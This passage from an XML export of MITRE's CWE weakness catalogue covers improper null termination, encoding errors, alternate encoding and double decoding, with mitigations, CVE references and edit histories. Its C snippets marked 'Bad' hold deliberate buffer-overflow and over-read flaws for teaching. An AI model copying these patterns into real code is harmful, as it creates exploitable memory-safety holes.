                  <xhtml:div>#define MAXLEN 1024<xhtml:br/>...<xhtml:br/>char *pathbuf[MAXLEN];<xhtml:br/>...<xhtml:br/>read(cfgfile,inputbuf,MAXLEN); //does not null terminate<xhtml:br/>strcpy(pathbuf,inputbuf); //requires null terminated input<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>The code above will behave correctly if the data read from cfgfile is null terminated on disk as expected. But if an attacker is able to modify this input so that it does not contain the expected NULL character, the call to strcpy() will continue copying from memory until it encounters an arbitrary NULL character. This will likely overflow the destination buffer and, if the attacker can control the contents of memory immediately following inputbuf, can leave the application susceptible to a buffer overflow attack.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>In the following code, readlink() expands the name of a symbolic link stored in pathname and puts the absolute path into buf. The length of the resulting value is then calculated using strlen().</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>char buf[MAXPATH];<xhtml:br/>...<xhtml:br/>readlink(pathname, buf, MAXPATH);<xhtml:br/>int length = strlen(buf);<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>The code above will not always behave correctly as readlink() does not append a NULL byte to buf. Readlink() will stop copying characters once the maximum size of buf has been reached to avoid overflowing the buffer, this will leave the value buf not NULL terminated. In this situation, strlen() will continue traversing memory until it encounters an arbitrary NULL character further on down the stack, resulting in a length value that is much larger than the size of string. Readlink() does return the number of bytes copied, but when this return value is the same as stated buf size (in this case MAXPATH), it is impossible to know whether the pathname is precisely that many bytes long, or whether readlink() has truncated the name to avoid overrunning the buffer. In testing, vulnerabilities like this one might not be caught because the unused contents of buf and the memory immediately following it may be NULL, thereby causing strlen() to appear as if it is behaving correctly.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>While the following example is not exploitable, it provides a good example of how nulls can be omitted or misplaced, even when "safe" functions are used:</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>#include &lt;stdio.h&gt;<xhtml:br/>#include &lt;string.h&gt;<xhtml:br/>
                     <xhtml:br/>int main() {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>char longString[] = "String signifying nothing";<xhtml:br/>char shortString[16];<xhtml:br/>
                           <xhtml:br/>strncpy(shortString, longString, 16);<xhtml:br/>printf("The last character in shortString is: %c (%1$x)\n", shortString[15]);<xhtml:br/>return (0);</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The above code gives the following output: "The last character in shortString is: n (6e)". So, the shortString array does not end in a NULL character, even though the "safe" string function strncpy() was used. The reason is that strncpy() does not impliciitly add a NULL character at the end of the string when the source is equal in length or longer than the provided size.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2000-0312</Reference>
               <Description>Attacker does not null-terminate argv[] when invoking another program.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0312</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0777</Reference>
               <Description>Interrupted step causes resultant lack of null termination.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0777</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-1072</Reference>
               <Description>Fault causes resultant lack of null termination, leading to buffer expansion.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1072</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1389</Reference>
               <Description>Multiple vulnerabilities related to improper null termination.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1389</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0143</Reference>
               <Description>Product does not null terminate a message buffer after snprintf-like call, leading to overflow.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0143</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-2523</Reference>
               <Description>Chain: product does not handle when an input string is not NULL terminated (CWE-170), leading to buffer over-read (CWE-125) or heap-based buffer overflow (CWE-122).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2523</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Improper Null Termination</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>String Termination Error</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Miscalculated null termination</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A9</Entry_ID>
               <Entry_Name>Denial of Service</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>POS30-C</Entry_ID>
               <Entry_Name>Use the readlink() function properly</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>STR03-C</Entry_ID>
               <Entry_Name>Do not inadvertently truncate a null-terminated byte string</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>STR32-C</Entry_ID>
               <Entry_Name>Do not pass a non-null-terminated character sequence to a library function that expects a string</Entry_Name>
               <Mapping_Fit>Exact</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP11</Entry_ID>
               <Entry_Name>Improper Null Termination</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Relationship">Factors: this is usually resultant from other weaknesses such as off-by-one errors, but it can be primary to boundary condition violations such as buffer overflows. In buffer overflows, it can act as an expander for assumed-immutable data.</Note>
            <Note Type="Relationship">Overlaps missing input terminator.</Note>
            <Note Type="Applicable Platform">
               <xhtml:p>Conceptually, this does not just apply to the C language; any language or representation that involves a terminator could have this type of problem.</xhtml:p>
            </Note>
            <Note Type="Maintenance">As currently described, this entry is more like a category than a weakness.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>KDM Analytics</Modification_Organization>
               <Modification_Date>2008-08-01</Modification_Date>
               <Modification_Comment>added/updated white box definitions</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Causal_Nature, Common_Consequences, Description, Likelihood_of_Exploit, Maintenance_Notes, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>KDM Analytics</Modification_Name>
               <Modification_Date>2009-07-17</Modification_Date>
               <Modification_Comment>Improved the White_Box_Definition</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Other_Notes, Potential_Mitigations, White_Box_Definitions</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Causal_Nature, Observed_Examples, Relationships, Taxonomy_Mappings, White_Box_Definitions</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="172" Name="Encoding Error" Abstraction="Class" Structure="Simple" Status="Draft">
         <Description>The product does not properly encode or decode the data, resulting in unexpected values.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="707" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="22" View_ID="1000"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="41" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-28">
               <Phase>Implementation</Phase>
               <Strategy>Output Encoding</Strategy>
               <Description>While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Encoding Error</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="120"/>
            <Related_Attack_Pattern CAPEC_ID="267"/>
            <Related_Attack_Pattern CAPEC_ID="3"/>
            <Related_Attack_Pattern CAPEC_ID="52"/>
            <Related_Attack_Pattern CAPEC_ID="53"/>
            <Related_Attack_Pattern CAPEC_ID="64"/>
            <Related_Attack_Pattern CAPEC_ID="71"/>
            <Related_Attack_Pattern CAPEC_ID="72"/>
            <Related_Attack_Pattern CAPEC_ID="78"/>
            <Related_Attack_Pattern CAPEC_ID="80"/>
         </Related_Attack_Patterns>
         <Notes>
            <Note Type="Relationship">Partially overlaps path traversal and equivalence weaknesses.</Note>
            <Note Type="Maintenance">This is more like a category than a weakness.</Note>
            <Note Type="Maintenance">Many other types of encodings should be listed in this category.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Maintenance_Notes, Relationships, Relationship_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="173" Name="Improper Handling of Alternate Encoding" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product does not properly handle when an input uses an alternate encoding that is valid for the control sphere to which the input is being sent.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="172" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="289" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-44">
               <Phase>Architecture and Design</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-30">
               <Phase>Implementation</Phase>
               <Strategy>Output Encoding</Strategy>
               <Description>Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Alternate Encoding</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="120"/>
            <Related_Attack_Pattern CAPEC_ID="267"/>
            <Related_Attack_Pattern CAPEC_ID="3"/>
            <Related_Attack_Pattern CAPEC_ID="4"/>
            <Related_Attack_Pattern CAPEC_ID="52"/>
            <Related_Attack_Pattern CAPEC_ID="53"/>
            <Related_Attack_Pattern CAPEC_ID="64"/>
            <Related_Attack_Pattern CAPEC_ID="71"/>
            <Related_Attack_Pattern CAPEC_ID="72"/>
            <Related_Attack_Pattern CAPEC_ID="78"/>
            <Related_Attack_Pattern CAPEC_ID="79"/>
            <Related_Attack_Pattern CAPEC_ID="80"/>
         </Related_Attack_Patterns>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Alternate Encoding</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-12-13">Failure to Handle Alternate Encoding</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="174" Name="Double Decoding of the Same Data" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product decodes the same input twice, which can limit the effectiveness of any protection mechanism that occurs in between the decoding operations.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="172" View_ID="1000"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="675" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Scope>Integrity</Scope>
               <Scope>Other</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Impact>Varies by Context</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-44">
               <Phase>Architecture and Design</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
